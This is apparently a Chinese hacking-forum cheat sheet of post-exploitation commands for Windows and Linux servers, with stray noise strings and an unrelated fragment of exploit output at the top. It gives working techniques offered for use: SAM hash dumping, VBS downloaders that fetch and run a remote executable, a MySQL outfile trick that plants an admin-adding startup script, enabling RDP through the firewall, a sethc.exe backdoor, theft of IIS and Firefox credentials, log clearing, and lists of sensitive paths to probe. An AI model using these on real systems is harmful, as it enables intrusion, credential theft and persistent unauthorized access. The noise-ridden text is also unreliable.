6 o4 M: W( Q) p- i0 r* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
* [argp@julius ~]$ ./nfs_mount_ex
" {/ W2 x7 ?/ P4 N  O. x- v*
# t# ^1 y, a4 L9 a' Kcalling nmount()
- f$ }. Z. D* r
2 w) p3 v. d+ q+ K! l/ u（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
( O& e: ~, }1 _7 ?——————————————
感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
————————————————————————————
5 g+ N$ a2 X! i7 j/ h8 s, Q" ]: [1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
$ a7 p) k. ]9 R: d8 [+ ualzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
5 Y& U, N3 m# z4 x( a% o, O% \6 O" ~! h1 H4 h{
注：
关于tar的打包方式,linux不以扩展名来决定文件类型。
7 Y8 k$ o( b: V若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
) f3 u4 k- n/ j; }8 h) E& O那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
( N9 p0 _# D8 o) B: E9 C}  

' q' ~3 Q3 k/ `& q8 i/ V* B- P* W; f提权先执行systeminfo
0 K% P$ X/ u4 e( |& h2 qtoken 漏洞补丁号 KB956572
9 a: F2 _! ^/ u, ~: G5 P( R, N" ^Churrasco          kb952004
命令行RAR打包~~·
6 i+ M+ X0 n4 Prar a -k -r -s -m3 c:\1.rar c:\folder
——————————————
2、收集系统信息的脚本  
# Q& y' b# W% I3 ?# sfor window：
0 y8 n$ @! v, g+ B& Y" S+ O
- @! g3 S3 N8 u3 N8 M6 Z9 a6 v- k/ R1 _@echo off
echo #########system info collection
& A' P/ M) [9 E3 z/ X( o  Z; [systeminfo
% Q9 e) b( l* V0 }ver
) V* N2 p$ K& N7 Y; K! ^8 ?hostname
net user
net localgroup
net localgroup administrators
net user guest
* Q# X$ t" ]" u8 d- gnet user administrator
4 L9 d7 r8 G0 Z
% X$ p5 B" X0 S7 f. y/ T% ^6 F0 ^( Eecho #######at- with   atq#####
+ [8 t/ y' @6 S% H/ Z# lecho schtask /query
0 W2 a8 Q; v8 m
0 ?3 m! F2 q$ [3 N% a& }& @echo
0 F3 z& H% K, P9 Secho ####task-list#############
tasklist /svc
echo
% f7 |; x% x+ c  t" k, z. Yecho ####net-work infomation
ipconfig/all
route print
arp -a
netstat -anipconfig /displaydns
echo
echo #######service############
: p. @4 b2 U8 t" u$ J& Msc query type= service state= all
/ z) T" R4 [2 ^6 P" wecho #######file-##############
2 C7 j+ b5 ^1 j3 {cd \
tree -F
# U4 `6 \9 }" F' j8 k& ]for linux：

#!/bin/bash
4 R- k: l8 a: b1 H- u% q
9 U( U' c7 t' k/ k4 @# a" |" Jecho #######geting sysinfo####
8 n( M! t8 x8 c7 m. ]* aecho ######usage: ./getinfo.sh >/tmp/sysinfo.txt
  ]) G1 {" _1 L, u& {echo #######basic infomation##
1 ~, @2 s; K( z% z) u: Pcat /proc/meminfo
echo
; {. p# _" C8 ycat /proc/cpuinfo
# ~8 B$ V0 G8 w2 h' }) Uecho
; `$ f1 v% h2 X" L5 P. k/ n7 Frpm -qa 2>/dev/null
######stole the mail......######
4 m( K1 Z) T/ K" G- Z' W7 ~cp -a /var/mail /tmp/getmail 2>/dev/null


2 D; A% O- e3 t% w' Z  recho 'u'r id is' `id`
echo ###atq&crontab#####
' ~6 m. d- H0 R) L1 u+ {* z# o6 S! Catq
* h' b0 r! M8 L' a- A3 M- @4 ncrontab -l
echo #####about var#####
* j! {8 y5 p/ P, r4 u6 `4 fset

0 I) B  V& n" b0 w( ?# W* Xecho #####about network###
- a& K" C- H5 I5 E: e####this is then point in pentest,but i am a new bird,so u need to add some in it
, O1 r: F# O; m3 l8 {cat /etc/hosts
hostname
8 L3 V4 I- u5 e: nipconfig -a
: \9 d3 q+ C7 yarp -v
% i/ I# y, O5 K7 L% F) ~+ h5 M  Pecho ########user####
! j2 Y3 h( q3 B! H& Ycat /etc/passwd|grep -i sh

  D9 O. l3 x* K/ ~- G. v5 Oecho ######service####
- r, p! G/ I& achkconfig --list
7 \+ a& ~; ^' I0 |: G# A  ]7 N
for i in {oracle,mysql,tomcat,samba,apache,ftp}
cat /etc/passwd|grep -i $i
done
; j9 e8 I; A' ]9 z6 ]
3 W$ E! q8 e) [0 g% ]8 _. [locate passwd >/tmp/password 2>/dev/null
5 e% Z4 g7 R9 T  ~sleep 5
locate password >>/tmp/password 2>/dev/null
- \/ I2 d9 V" ysleep 5
$ R; a  I. c2 ]+ s7 b  llocate conf >/tmp/sysconfig 2>dev/null
sleep 5
locate config >>/tmp/sysconfig 2>/dev/null
  {' K4 Z: i$ T+ l2 }$ p6 Esleep 5

###maybe can use "tree /"###
) r1 G  ~, `: e, y6 Cecho ##packing up#########
tar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
( B1 o8 |# E$ z' i% Brm -rf /tmp/getmail /tmp/password /tmp/sysconfig
' ]6 }* c3 S& ?$ s——————————————
. F6 T3 Z0 @: W3 }3、ethash 不免杀怎么获取本机hash。
首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
hash 抓完了记得把自己的账户密码改过来哦！
- V* x8 r5 e& p7 z: F$ N. d$ v据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
* {: s9 W9 q9 o6 I8 w/ ]——————————————
! y, |1 g7 Q6 U% }4、vbs 下载者
6 i* Q7 ~$ C. d2 f, E1
3 ]1 G' r# u3 z+ P$ e0 kecho Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
* l" D' l7 l! Qecho sGet.Mode = 3 >>c:\windows\cftmon.vbs
! n& X* A( d+ {echo sGet.Type = 1 >>c:\windows\cftmon.vbs
6 Q; T: v# \9 o& q5 s- ]" ~echo sGet.Open() >>c:\windows\cftmon.vbs
( y( T( Z* |% N9 ^$ o& c( ]echo sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
# f. K0 V5 \/ @- qecho sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
  I$ C. d0 k( q: Techo Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
echo objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
" [$ j1 E, J8 f7 w, j0 R1 ~2 r1 Dcftmon.vbs

2
+ i% n5 N& I1 Y8 G4 v$ z# jOn Error Resume Nextim iRemote,iLocal,s1,s2
iLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
Set xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
+ ]% @( j4 N7 M9 QSet sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
sGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2
% i5 F) S/ r/ A, e4 @7 o
- Y( O4 l. f# x8 P. ucscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe

* E0 P! R: d) T. r) `! P! R" {当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
0 K! i3 W% C$ y——————————————————
8 {0 H; L) m) B- g0 e9 F/ F/ y$ N5、
% v$ m" p6 s# R, _1.查询终端端口
+ A! {* P% l- O# i% qREG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
4 ]/ c) B% i0 y2.开启XP&2003终端服务
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
3.更改终端端口为2008(0x7d8)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
: u' r7 n" Q% }8 KREG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
5 v6 x9 p( m- @& q4 e————————————————
6、create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"")");
% v% o" |2 f1 z1 Sinsert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
4 w; N8 ?) I' A# S. J* Cinsert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
$ @! Q% _, b4 e3 I) K————————————————————
7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
_____
8、for /d %i in (d:\freehost\*) do @echo %i
& [# j3 q  `/ B7 C7 K
3 }. {- y; M& {- Y9 |列出d的所有目录
: D9 |* x4 n. @0 a9 t  
  for /d %i in (???) do @echo %i
) D; c! j/ ]+ {, k! U( n# r9 y" [9 V
$ h$ n  h- V1 E( |( h把当前路径下文件夹的名字只有1-3个字母的打出来

6 @" u. I% _" q2 V2.for /r %i in (*.exe) do @echo %i
  i8 ?+ m  [: ^; P% R4 Z  
+ q1 D8 ], Y9 L7 B5 j1 f+ J以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出
$ c; k) ]8 b& j
. y+ |' f; z8 cfor /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i

% U/ o) Y0 e) l4 J9 M3 s0 ]9 z3.for /f %i in (c:\1.txt) do echo %i
. b) R* R$ y  J1 a' s  s, c  
( X# c1 H+ b" l% {. e4 M( ?  b  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中
# n" s$ D. A5 x
4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i

  delims=后的空格是分隔符 tokens是取第几个位置
7 _! U/ |  _9 h( h1 f* X——————————
●注册表:
1.Administrator注册表备份:
5 {" c; X* u3 q: qreg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg

3 W: z; F, u  ?2.修改3389的默认端口:
4 s- n4 C- I, T# v7 T6 L* t/ qHKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
$ |% N' U2 ?5 Z  |* c修改PortNumber.
: O8 r( a; b' i. z7 h" E
: X- R1 W: C) D1 t3.清除3389登录记录:
. J) Y+ w5 i7 E; _. U( r  e6 |4 c& Qreg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f

4.Radmin密码:
reg export HKLM\SYSTEM\RAdmin c:\a.reg

5.禁用TCP/IP端口筛选(需重启):
REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f

+ h4 _& ]* y. P3 }6.IPSec默认免除项88端口(需重启):
8 ^/ S2 y. C: E% T0 [/ greg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
或者
netsh ipsec dynamic set config ipsecexempt value=0

7.停止指派策略"myipsec":
, w; }0 {" T3 [; F% `2 ]/ ~7 hnetsh ipsec static set policy name="myipsec" assign=n
, B7 T0 o4 u% f
8.系统口令恢复LM加密:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f

9.另类方法抓系统密码HASH
' h  A+ _3 Z' r) n$ `1 j! t! Treg save hklm\sam c:\sam.hive
1 E7 D8 X# f, `reg save hklm\system c:\system.hive
4 }% a  F- `+ \% Y# Y8 K& ~8 [reg save hklm\security c:\security.hive

10.shift映像劫持
. O* e) k7 q/ s) freg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe
* Z, C) R7 l8 J9 J( P
reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
-----------------------------------
星外vbs(注：测试通过，好东西）
Set ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
2 s% T: s% Z* ~' GchildObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
if IsNumeric(childObjectName)=true then
% z9 k; M3 g5 V/ Eset IIs=objservice.GetObject("IIsWebServer",childObjectName)
if err.number<>0 then
8 y# o7 e' m) P) t* I5 Zexit for
/ x7 @  {: O3 v6 Q! Mmsgbox("error!")
wscript.quit
end if
) F. P0 j+ W" ?serverbindings=IIS.serverBindings
ServerComment=iis.servercomment
set IISweb=iis.getobject("IIsWebVirtualDir","Root")
user=iisweb.AnonymousUserName
9 V) A. L! I8 C* s3 jpass=iisweb.AnonymousUserPass
path=IIsWeb.path
2 S6 f8 j( I* k. K- elist=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
# ]2 z7 A  F% W8 t- k$ `# k4 n3 qend if
9 b9 F( Q  l( k6 ?# g8 }& xNext
4 ^  }# v4 a; ^wscript.echo list
% a5 s: a6 j5 f$ X) `4 zSet ObjService=Nothing
wscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
% J$ p3 R5 @  h( w4 _  sWScript.Quit
复制代码
----------------------2011新气象，欢迎各位补充、指正、优化。----------------
1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
4 _+ z( q% j! O, L5 ]) e2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
将folder.htt文件，加入以下代码：
<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
</OBJECT>
" M$ e" ?* Y, @) S, W' S" S3 Y复制代码
" f  |6 D' A& ?0 y' r0 B. d然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
PS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
2 X5 Q; K9 |) M/ w3 I( J1 [asp代码，利用的时候会出现登录问题
原因是ASP大马里有这样的代码：（没有就没事儿了）
url=request.severvariables("url")
这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
4 J& a& h# D- L5 P9 |5 p 解决方法
+ V/ P( A- p0 W" p url=request.severvariables("path_info")
path_info可以直接呈现虚拟路径 顺利解析gif大马
$ Z7 f, C1 D+ x" [6 U
==============================================================
LINUX常见路径：
, N6 e8 h9 c, f5 w; N9 z
/etc/passwd
" b' }7 I" o" w3 H/etc/shadow
4 h) t5 G, y! Q/etc/fstab
/etc/host.conf
/etc/motd
/etc/ld.so.conf
: {, S- h5 q1 g6 U/var/www/htdocs/index.php
% e7 J4 z' J2 R' w/var/www/conf/httpd.conf
/var/www/htdocs/index.html
5 p; W0 F/ [( ~' T; I/var/httpd/conf/php.ini
+ V1 m8 T/ ?3 `7 S2 z& Q7 ?+ {# h' J/var/httpd/htdocs/index.php
/var/httpd/conf/httpd.conf
/var/httpd/htdocs/index.html
/var/httpd/conf/php.ini
+ X3 _8 F/ q. c5 U# W: o/var/www/index.html
9 o0 [! U7 N4 {" l* x5 w: y5 B) k4 c& d/var/www/index.php
/opt/www/conf/httpd.conf
( N; G/ Q! U# j  ^8 f+ I+ a2 p/opt/www/htdocs/index.php
/opt/www/htdocs/index.html
- \6 l" b3 I2 N, U3 e! p. T) \5 a/usr/local/apache/htdocs/index.html
/usr/local/apache/htdocs/index.php
/usr/local/apache2/htdocs/index.html
/usr/local/apache2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.php
( s' E+ M( T. B  k/ J$ \/ U# K7 m( r& H/usr/local/httpd2.2/htdocs/index.html
/tmp/apache/htdocs/index.html
8 _0 D$ _5 W" U+ l$ f! r/tmp/apache/htdocs/index.php
/etc/httpd/htdocs/index.php
$ f  e* i2 c1 f1 X  S% r" X/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
/www/php/php.ini
/www/php4/php.ini
/www/php5/php.ini
/www/conf/httpd.conf
+ H4 b$ M# V- ~. u( ?+ a/www/htdocs/index.php
) Y  g7 B$ U) ~9 d  R7 u/www/htdocs/index.html
* e2 {& I6 T: f$ v  Q/usr/local/httpd/conf/httpd.conf
6 W/ W& t+ o2 p1 o; G6 ]0 |1 @/apache/apache/conf/httpd.conf
0 v2 m' B  z4 J" R; g/ d/apache/apache2/conf/httpd.conf
& u* ~2 _; l/ P  n3 k8 T2 {" e/etc/apache/apache.conf
6 P0 u2 @/ h. Y" @1 c4 r/etc/apache2/apache.conf
/etc/apache/httpd.conf
/etc/apache2/httpd.conf
6 J6 F' t$ K( p2 N4 m, M8 m/etc/apache2/vhosts.d/00_default_vhost.conf
) P& q5 x, o0 W0 N8 B8 V, J  C/etc/apache2/sites-available/default
/etc/phpmyadmin/config.inc.php
$ _5 K( R2 e0 M7 O  U; }! d/etc/mysql/my.cnf
) A3 Z2 \0 C3 C1 C* V% n/etc/httpd/conf.d/php.conf
/etc/httpd/conf.d/httpd.conf
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
& I( l% s7 W$ Q/etc/httpd/logs/access.log
/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf
/var/log/apache/error_log
) M: B. M9 a% E6 N/var/log/apache/error.log
8 @/ \( a. G+ D/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
) w: d! ~* W; l+ r0 Z# `/var/log/apache2/access_log
7 T* e; W  c6 r0 p7 m/var/log/apache2/access.log
% i5 R  E' `3 \" n0 S6 b% }/var/www/logs/error_log
/var/www/logs/error.log
# x: v* T( h: i$ S: _/var/www/logs/access_log
4 m: @2 c/ s& q2 x/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
& j, r% @! }& _" M& o0 V0 H4 c/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
/ f8 }2 y# n( s. k  m/var/log/access_log
( X; U! \% }1 g/var/log/access.log
/usr/local/apache/logs/access_logaccess_log.old
/usr/local/apache/logs/error_logerror_log.old
/etc/php.ini
8 g& y( ^6 |% T7 ?/bin/php.ini
+ T8 D! G$ l5 ]8 Z/etc/init.d/httpd
/etc/init.d/mysql
/etc/httpd/php.ini
/usr/lib/php.ini
- ?  \6 B' T+ ~% J6 p0 v( g0 j; I/usr/lib/php/php.ini
/usr/local/etc/php.ini
/usr/local/lib/php.ini
4 R  Z/ G  c$ [+ h/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
: l. Q4 j: l! R0 @! N/usr/local/php4/lib/php.ini
- J9 Y% N* m  p0 X5 t" c# z; J/usr/local/php5/lib/php.ini
8 j" U! O9 I, J5 a; @1 p  \/usr/local/php5/etc/php.ini
/usr/local/php5/php5.ini
/usr/local/apache/conf/php.ini
& ^8 R0 f7 |& i" U2 m& O& |/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
$ {0 P9 T, }. e, j1 j+ B/usr/local/apache2/conf/php.ini
6 I, X3 X0 s$ ~3 w7 ]/etc/php4.4/fcgi/php.ini
* o8 c' L. H" V/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
/etc/php5/apache/php.ini
3 ?8 U) a- z  G+ @7 u) z$ [/etc/php5/apache2/php.ini
/etc/php/php.ini
/etc/php/php4/php.ini
. Z* b9 `1 W) H1 J) X$ u! J/etc/php/apache/php.ini
- ~4 c. c, |4 U( H2 {  O/etc/php/apache2/php.ini
* g. \) s8 h" }5 n  V7 H+ ]/web/conf/php.ini
/usr/local/Zend/etc/php.ini
, v$ U- T3 |' F* v% T$ i9 x- y- z& n/opt/xampp/etc/php.ini
/ T; [. f. i% J' l  O7 ^9 \+ B/var/local/www/conf/php.ini
/var/local/www/conf/httpd.conf
" e. B# S8 V! F: R2 W/etc/php/cgi/php.ini
6 J$ ]/ ]6 g" ^1 \( B" L; `; `; }/etc/php4/cgi/php.ini
4 m4 G3 T  A7 t* }3 E+ H/etc/php5/cgi/php.ini
* n8 O  H# O' G" B/php5/php.ini
/php4/php.ini
/php/php.ini
: Q7 k1 y8 v: Z! h5 v/PHP/php.ini
/apache/php/php.ini
/xampp/apache/bin/php.ini
; k) R. L2 d7 k: f: C/xampp/apache/conf/httpd.conf
/NetServer/bin/stable/apache/php.ini
, D8 Q- |/ |+ k' ]" ]* {/home2/bin/stable/apache/php.ini
/home/bin/stable/apache/php.ini
# N; }1 l$ c" G! j/var/log/mysql/mysql-bin.log
, q0 Z, h" d3 H8 y3 B/var/log/mysql.log
  C8 }2 q6 H& |, Z/var/log/mysqlderror.log
% @' I% k0 O% X  G$ b4 f; p, s/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
/var/mysql.log
/var/lib/mysql/my.cnf
* J$ P, Q9 r7 n' z( u( M! Z8 J7 V9 W/usr/local/mysql/my.cnf
% `: U  y; I! L4 ^- m) L& t/usr/local/mysql/bin/mysql
/etc/mysql/my.cnf
0 K5 h0 i0 S5 u0 x/etc/my.cnf
/usr/local/cpanel/logs
/usr/local/cpanel/logs/stats_log
% n8 i8 P* J2 l% A/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
* ?  ^( E. e: _$ r- e$ }/usr/local/cpanel/logs/stats_log
/usr/local/share/examples/php4/php.ini
/usr/local/share/examples/php/php.ini
1 x4 U, X& i2 T' E; T
- k0 u# S) y( S& b& n/ i2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）
% V) g5 D$ M, Y
c:\windows\php.ini
c:\boot.ini
2 D' l9 Z9 T% ?( ~; w4 E) k+ J6 ^c:\1.txt
: X* y2 n" s0 ]c:\a.txt
" Z' M& n4 [+ S8 |0 @
c:\CMailServer\config.ini
1 J5 f, e+ C/ @2 p& E& \c:\CMailServer\CMailServer.exe
c:\CMailServer\WebMail\index.asp
" {& w  J1 i, @( a1 M/ q: l8 wc:\program files\CMailServer\CMailServer.exe
c:\program files\CMailServer\WebMail\index.asp
3 ]: \( Z3 Y& q/ O; eC:\WinWebMail\SysInfo.ini
3 e1 {0 U1 i0 s# H1 y' @# D* l: TC:\WinWebMail\Web\default.asp
C:\WINDOWS\FreeHost32.dll
C:\WINDOWS\7i24iislog4.exe
C:\WINDOWS\7i24tool.exe

- \. ^( M/ W1 D+ P1 A/ [# f8 j0 Mc:\hzhost\databases\url.asp

c:\hzhost\hzclient.exe
% h' b' q; k) j, v& CC:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk

C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
, a, o* v+ _" P/ Y/ }4 L+ dC:\WINDOWS\web.config
c:\web\index.html
c:\www\index.html
c:\WWWROOT\index.html
c:\website\index.html
c:\web\index.asp
c:\www\index.asp
1 P2 X3 E7 G) E. Ec:\wwwsite\index.asp
c:\WWWROOT\index.asp
c:\web\index.php
( h1 F# B7 W/ Yc:\www\index.php
3 w  P6 X% {: _& `  Dc:\WWWROOT\index.php
c:\WWWsite\index.php
c:\web\default.html
- P* V" m0 w4 v/ F2 i$ ^* J# N6 ~c:\www\default.html
c:\WWWROOT\default.html
c:\website\default.html
c:\web\default.asp
  ~2 ~0 `# a. y  |3 H! \+ ~- w  uc:\www\default.asp
( ]1 z7 ^4 H3 B$ J1 y- `4 f; P' x1 Sc:\wwwsite\default.asp
& C! g1 r7 P. q; m9 J/ Oc:\WWWROOT\default.asp
c:\web\default.php
c:\www\default.php
6 h7 o! G$ f6 z5 rc:\WWWROOT\default.php
c:\WWWsite\default.php
C:\Inetpub\wwwroot\pagerror.gif
4 o) W+ T8 e9 S9 Nc:\windows\notepad.exe
, q/ s$ ~; U0 v; b8 {c:\winnt\notepad.exe
C:\Program Files\Microsoft Office\OFFICE10\winword.exe
) h. l$ c* a6 x" ~$ |7 RC:\Program Files\Microsoft Office\OFFICE11\winword.exe
% \, n- L" h" I5 l" y" C/ oC:\Program Files\Microsoft Office\OFFICE12\winword.exe
; X  X4 I3 ]  S# Y6 k. `$ NC:\Program Files\Internet Explorer\IEXPLORE.EXE
. D; Y/ V4 V& d0 j) F7 g. p4 dC:\Program Files\winrar\rar.exe
C:\Program Files\360\360Safe\360safe.exe
6 r: e8 I8 ^1 S7 V3 Q+ J5 c. KC:\Program Files\360Safe\360safe.exe
C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
c:\ravbin\store.ini
c:\rising.ini
C:\Program Files\Rising\Rav\RsTask.xml
C:\Documents and Settings\All Users\Start Menu\desktop.ini
, J) C( J3 b) _* M3 b, q6 a, k9 dC:\Documents and Settings\Administrator\My Documents\Default.rdp
C:\Documents and Settings\Administrator\Cookies\index.dat
C:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
& a6 A/ i; k5 g+ R- g7 D& HC:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
# \% v0 U1 J1 u# w, R. H6 mC:\Documents and Settings\Administrator\My Documents\1.txt
  T! d' P$ d% F: W/ ?* _# u0 {. D: TC:\Documents and Settings\Administrator\桌面\1.txt
' H1 x# ], M: @. `5 G* QC:\Documents and Settings\Administrator\My Documents\a.txt
C:\Documents and Settings\Administrator\桌面\a.txt
C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
2 q2 ?) D- m8 ]' H5 J/ EE:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
2 T% ]9 w' |8 I' K, D3 o) \. f& X# }C:\Program Files\RhinoSoft.com\Serv-U\Version.txt
, A- W/ b$ L) RC:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
% h1 c8 ?# u2 M$ \8 x' ]+ TC:\Program Files\Symantec\SYMEVENT.INF
* \) _: f7 {: r- l* w1 u) p/ FC:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
6 |3 Y% V8 o% s% h2 YC:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
  c- F3 r1 t2 F" EC:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
0 M" k' _: e2 j- r& Z: uC:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
C:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
' d7 E; s  V5 v9 g; GC:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
C:\MySQL\MySQL Server 5.0\my.ini
  P) `; g' ^3 x8 yC:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
C:\Program Files\MySQL\MySQL Server 5.0\COPYING
% K+ _, J* [6 S4 F1 ]  n; Q0 P  b. gC:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
: y+ X  B7 Y) C$ F- D" I- k6 J! dC:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
1 k/ ~% M3 x. d) L+ I  M0 Kc:\MySQL\MySQL Server 4.1\bin\mysql.exe
8 v; n! M  ?, V( o7 cc:\MySQL\MySQL Server 4.1\data\mysql\user.frm
C:\Program Files\Oracle\oraconfig\Lpk.dll
: T/ N5 m" z$ w  DC:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
C:\WINDOWS\system32\inetsrv\w3wp.exe
; X0 i  k" _5 V4 P" F& L! P9 H7 ~1 gC:\WINDOWS\system32\inetsrv\inetinfo.exe
C:\WINDOWS\system32\inetsrv\MetaBase.xml
C:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
C:\WINDOWS\system32\config\default.LOG
* N1 i: b- Z- r" F" d/ A% v8 O; ^C:\WINDOWS\system32\config\sam
C:\WINDOWS\system32\config\system
8 F5 U! _- `3 b1 nc:\CMailServer\config.ini
, J* I$ N% `0 Y9 B: Mc:\program files\CMailServer\config.ini
( Z* c3 m8 g# x& Ec:\tomcat6\tomcat6\bin\version.sh
% T7 u4 X+ U" @2 y% d5 w5 k5 fc:\tomcat6\bin\version.sh
- s2 _# ~. l% q2 b1 e$ @! \c:\tomcat\bin\version.sh
